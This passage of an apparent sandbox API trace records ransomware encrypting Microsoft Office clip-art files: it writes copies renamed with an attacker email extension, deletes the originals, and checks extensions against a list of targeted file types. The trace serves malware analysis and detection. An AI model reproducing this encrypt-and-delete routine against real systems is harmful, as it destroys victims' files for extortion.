office\\root\\clipart\\pub60cor\\j0099150.jpg")) returned 0x220 [0200.971] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099150.JPG.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099150.jpg.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0200.972] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099150.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099150.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534 [0200.972] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0200.972] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0200.972] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099150.JPG.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099150.jpg.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e8 [0200.973] GetLastError () returned 0x0 [0200.973] ReadFile (in: hFile=0x534, lpBuffer=0x41b7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesRead=0x377fecc*=0x559a, lpOverlapped=0x0) returned 1 [0200.975] WriteFile (in: hFile=0x3e8, lpBuffer=0x41b7020*, nNumberOfBytesToWrite=0x55a0, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesWritten=0x377fc94*=0x55a0, lpOverlapped=0x0) returned 1 [0200.976] ReadFile (in: hFile=0x534, lpBuffer=0x41b7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesRead=0x377fecc*=0x0, lpOverlapped=0x0) returned 1 [0200.976] WriteFile (in: hFile=0x3e8, lpBuffer=0x41b7020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesWritten=0x377fc94*=0xec, lpOverlapped=0x0) returned 1 [0200.976] SetEndOfFile (hFile=0x3e8) returned 1 [0200.976] CloseHandle (hObject=0x3e8) returned 1 [0200.976] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0200.976] SetEndOfFile (hFile=0x534) returned 1 [0200.980] CloseHandle (hObject=0x534) returned 1 [0200.980] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099150.JPG.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0200.981] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099150.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099150.jpg")) returned 1 [0200.982] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099150.JPG") returned 68 [0200.982] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099150.JPG") returned 68 [0200.982] lstrlenW (lpString=".doc") returned 4 [0200.982] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0200.982] lstrlenW (lpString=".docx") returned 5 [0200.982] lstrcmpiW (lpString1=".docx", lpString2="0.JPG") returned -1 [0200.982] lstrlenW (lpString=".pdf") returned 4 [0200.982] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0200.982] lstrlenW (lpString=".xls") returned 4 [0200.982] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0200.982] lstrlenW (lpString=".xlsx") returned 5 [0200.982] lstrcmpiW (lpString1=".xlsx", lpString2="0.JPG") returned -1 [0200.982] lstrlenW (lpString=".ppt") returned 4 [0200.983] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0200.983] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099150.JPG") returned 68 [0200.983] lstrlenW (lpString=".zip") returned 4 [0200.983] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0200.983] lstrlenW (lpString=".rar") returned 4 [0200.983] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0200.983] lstrlenW (lpString=".bz2") returned 4 [0200.983] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0200.983] lstrlenW (lpString=".7z") returned 3 [0200.983] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0200.983] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099150.JPG") returned 68 [0200.983] lstrlenW (lpString=".dbf") returned 4 [0200.983] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0200.983] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099150.JPG") returned 68 [0200.983] lstrlenW (lpString=".1cd") returned 4 [0200.983] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0200.983] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099150.JPG") returned 68 [0200.983] lstrlenW (lpString=".jpg") returned 4 [0200.983] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0200.983] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099150.JPG") returned 68 [0200.983] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099150.JPG") returned 68 [0200.983] lstrlenW (lpString=".doc") returned 4 [0200.983] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0200.983] lstrlenW (lpString=".docx") returned 5 [0200.983] lstrcmpiW (lpString1=".docx", lpString2="0.JPG") returned -1 [0200.983] lstrlenW (lpString=".pdf") returned 4 [0200.983] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0200.983] lstrlenW (lpString=".xls") returned 4 [0200.983] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0200.983] lstrlenW (lpString=".xlsx") returned 5 [0200.983] lstrcmpiW (lpString1=".xlsx", lpString2="0.JPG") returned -1 [0200.983] lstrlenW (lpString=".ppt") returned 4 [0200.983] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0200.983] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099150.JPG") returned 68 [0200.984] lstrlenW (lpString=".zip") returned 4 [0200.984] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0200.984] lstrlenW (lpString=".rar") returned 4 [0200.984] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0200.984] lstrlenW (lpString=".bz2") returned 4 [0200.984] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0200.984] lstrlenW (lpString=".7z") returned 3 [0200.984] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0200.984] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099150.JPG") returned 68 [0200.984] lstrlenW (lpString=".dbf") returned 4 [0200.984] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0200.984] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099150.JPG") returned 68 [0200.984] lstrlenW (lpString=".1cd") returned 4 [0200.984] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0200.984] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099150.JPG") returned 68 [0200.984] lstrlenW (lpString=".jpg") returned 4 [0200.984] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0200.984] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0200.984] lstrlenW (lpString="J0099151.WMF") returned 12 [0200.984] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099151.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099151.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534 [0200.985] GetFileSizeEx (in: hFile=0x534, lpFileSize=0x377ff14 | out: lpFileSize=0x377ff14*=26086) returned 1 [0200.985] CloseHandle (hObject=0x534) returned 1 [0200.985] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099151.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099151.wmf")) returned 0x220 [0200.985] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099151.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099151.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0200.985] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099151.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099151.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534 [0200.985] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0200.985] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0200.986] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099151.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099151.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e8 [0200.986] GetLastError () returned 0x0 [0200.986] ReadFile (in: hFile=0x534, lpBuffer=0x41b7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesRead=0x377fecc*=0x65e6, lpOverlapped=0x0) returned 1 [0200.993] WriteFile (in: hFile=0x3e8, lpBuffer=0x41b7020*, nNumberOfBytesToWrite=0x65f0, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesWritten=0x377fc94*=0x65f0, lpOverlapped=0x0) returned 1 [0200.994] ReadFile (in: hFile=0x534, lpBuffer=0x41b7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesRead=0x377fecc*=0x0, lpOverlapped=0x0) returned 1 [0200.994] WriteFile (in: hFile=0x3e8, lpBuffer=0x41b7020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesWritten=0x377fc94*=0xec, lpOverlapped=0x0) returned 1 [0200.994] SetEndOfFile (hFile=0x3e8) returned 1 [0200.994] CloseHandle (hObject=0x3e8) returned 1 [0200.994] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0200.994] SetEndOfFile (hFile=0x534) returned 1 [0200.997] CloseHandle (hObject=0x534) returned 1 [0200.997] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099151.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0200.997] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099151.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099151.wmf")) returned 1 [0200.998] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099151.WMF") returned 68 [0200.998] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099151.WMF") returned 68 [0200.998] lstrlenW (lpString=".doc") returned 4 [0200.998] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0200.998] lstrlenW (lpString=".docx") returned 5 [0200.998] lstrcmpiW (lpString1=".docx", lpString2="1.WMF") returned -1 [0200.998] lstrlenW (lpString=".pdf") returned 4 [0200.998] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0200.998] lstrlenW (lpString=".xls") returned 4 [0200.998] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0200.998] lstrlenW (lpString=".xlsx") returned 5 [0200.998] lstrcmpiW (lpString1=".xlsx", lpString2="1.WMF") returned -1 [0200.998] lstrlenW (lpString=".ppt") returned 4 [0200.998] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0200.998] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099151.WMF") returned 68 [0200.998] lstrlenW (lpString=".zip") returned 4 [0200.998] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0200.998] lstrlenW (lpString=".rar") returned 4 [0200.998] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0200.998] lstrlenW (lpString=".bz2") returned 4 [0200.998] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0200.999] lstrlenW (lpString=".7z") returned 3 [0200.999] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0200.999] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099151.WMF") returned 68 [0200.999] lstrlenW (lpString=".dbf") returned 4 [0200.999] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0200.999] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099151.WMF") returned 68 [0200.999] lstrlenW (lpString=".1cd") returned 4 [0200.999] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0200.999] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099151.WMF") returned 68 [0200.999] lstrlenW (lpString=".jpg") returned 4 [0200.999] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0200.999] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099151.WMF") returned 68 [0200.999] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099151.WMF") returned 68 [0200.999] lstrlenW (lpString=".doc") returned 4 [0200.999] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0200.999] lstrlenW (lpString=".docx") returned 5 [0200.999] lstrcmpiW (lpString1=".docx", lpString2="1.WMF") returned -1 [0200.999] lstrlenW (lpString=".pdf") returned 4 [0200.999] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0200.999] lstrlenW (lpString=".xls") returned 4 [0200.999] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0200.999] lstrlenW (lpString=".xlsx") returned 5 [0200.999] lstrcmpiW (lpString1=".xlsx", lpString2="1.WMF") returned -1 [0200.999] lstrlenW (lpString=".ppt") returned 4 [0200.999] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0200.999] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099151.WMF") returned 68 [0200.999] lstrlenW (lpString=".zip") returned 4 [0200.999] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0200.999] lstrlenW (lpString=".rar") returned 4 [0200.999] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0200.999] lstrlenW (lpString=".bz2") returned 4 [0200.999] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0200.999] lstrlenW (lpString=".7z") returned 3 [0201.000] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0201.000] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099151.WMF") returned 68 [0201.000] lstrlenW (lpString=".dbf") returned 4 [0201.000] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0201.000] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099151.WMF") returned 68 [0201.000] lstrlenW (lpString=".1cd") returned 4 [0201.000] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0201.000] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099151.WMF") returned 68 [0201.000] lstrlenW (lpString=".jpg") returned 4 [0201.000] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0201.000] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0201.000] lstrlenW (lpString="J0099153.WMF") returned 12 [0201.000] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099153.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099153.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534 [0201.000] GetFileSizeEx (in: hFile=0x534, lpFileSize=0x377ff14 | out: lpFileSize=0x377ff14*=13874) returned 1 [0201.001] CloseHandle (hObject=0x534) returned 1 [0201.001] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099153.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099153.wmf")) returned 0x220 [0201.001] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099153.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099153.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0201.001] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099153.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099153.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534 [0201.001] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0201.001] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0201.001] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099153.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099153.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e8 [0201.002] GetLastError () returned 0x0 [0201.002] ReadFile (in: hFile=0x534, lpBuffer=0x41b7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesRead=0x377fecc*=0x3632, lpOverlapped=0x0) returned 1 [0201.261] WriteFile (in: hFile=0x3e8, lpBuffer=0x41b7020*, nNumberOfBytesToWrite=0x3640, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesWritten=0x377fc94*=0x3640, lpOverlapped=0x0) returned 1 [0201.266] ReadFile (in: hFile=0x534, lpBuffer=0x41b7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesRead=0x377fecc*=0x0, lpOverlapped=0x0) returned 1 [0201.266] WriteFile (in: hFile=0x3e8, lpBuffer=0x41b7020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesWritten=0x377fc94*=0xec, lpOverlapped=0x0) returned 1 [0201.266] SetEndOfFile (hFile=0x3e8) returned 1 [0201.266] CloseHandle (hObject=0x3e8) returned 1 [0201.266] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0201.266] SetEndOfFile (hFile=0x534) returned 1 [0201.269] CloseHandle (hObject=0x534) returned 1 [0201.269] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099153.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0201.599] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099153.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099153.wmf")) returned 1 [0201.659] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099153.WMF") returned 68 [0201.659] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099153.WMF") returned 68 [0201.659] lstrlenW (lpString=".doc") returned 4 [0201.659] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0201.660] lstrlenW (lpString=".docx") returned 5 [0201.660] lstrcmpiW (lpString1=".docx", lpString2="3.WMF") returned -1 [0201.660] lstrlenW (lpString=".pdf") returned 4 [0201.660] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0201.660] lstrlenW (lpString=".xls") returned 4 [0201.660] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0201.660] lstrlenW (lpString=".xlsx") returned 5 [0201.660] lstrcmpiW (lpString1=".xlsx", lpString2="3.WMF") returned -1 [0201.660] lstrlenW (lpString=".ppt") returned 4 [0201.660] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0201.660] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099153.WMF") returned 68 [0201.660] lstrlenW (lpString=".zip") returned 4 [0201.660] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0201.660] lstrlenW (lpString=".rar") returned 4 [0201.660] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0201.660] lstrlenW (lpString=".bz2") returned 4 [0201.660] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0201.660] lstrlenW (lpString=".7z") returned 3 [0201.660] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0201.660] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099153.WMF") returned 68 [0201.660] lstrlenW (lpString=".dbf") returned 4 [0201.660] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0201.660] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099153.WMF") returned 68 [0201.660] lstrlenW (lpString=".1cd") returned 4 [0201.661] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0201.661] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099153.WMF") returned 68 [0201.661] lstrlenW (lpString=".jpg") returned 4 [0201.661] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0201.661] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099153.WMF") returned 68 [0201.661] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099153.WMF") returned 68 [0201.661] lstrlenW (lpString=".doc") returned 4 [0201.661] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0201.661] lstrlenW (lpString=".docx") returned 5 [0201.661] lstrcmpiW (lpString1=".docx", lpString2="3.WMF") returned -1 [0201.661] lstrlenW (lpString=".pdf") returned 4 [0201.661] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0201.661] lstrlenW (lpString=".xls") returned 4 [0201.661] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0201.661] lstrlenW (lpString=".xlsx") returned 5 [0201.661] lstrcmpiW (lpString1=".xlsx", lpString2="3.WMF") returned -1 [0201.661] lstrlenW (lpString=".ppt") returned 4 [0201.661] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0201.661] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099153.WMF") returned 68 [0201.661] lstrlenW (lpString=".zip") returned 4 [0201.661] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0201.661] lstrlenW (lpString=".rar") returned 4 [0201.662] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0201.662] lstrlenW (lpString=".bz2") returned 4 [0201.662] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0201.662] lstrlenW (lpString=".7z") returned 3 [0201.662] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0201.662] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099153.WMF") returned 68 [0201.662] lstrlenW (lpString=".dbf") returned 4 [0201.662] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0201.662] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099153.WMF") returned 68 [0201.662] lstrlenW (lpString=".1cd") returned 4 [0201.662] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0201.662] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099153.WMF") returned 68 [0201.662] lstrlenW (lpString=".jpg") returned 4 [0201.662] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0201.662] lstrcmpiW (lpString1=".JPG", lpString2=".kr") returned -1 [0201.662] lstrlenW (lpString="J0099166.JPG") returned 12 [0201.662] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099166.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099166.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x560 [0201.743] GetFileSizeEx (in: hFile=0x560, lpFileSize=0x377ff14 | out: lpFileSize=0x377ff14*=64767) returned 1 [0201.743] CloseHandle (hObject=0x560) returned 1 [0201.743] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099166.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099166.jpg")) returned 0x220 [0201.935] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099166.JPG.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099166.jpg.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0201.936] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099166.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099166.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, 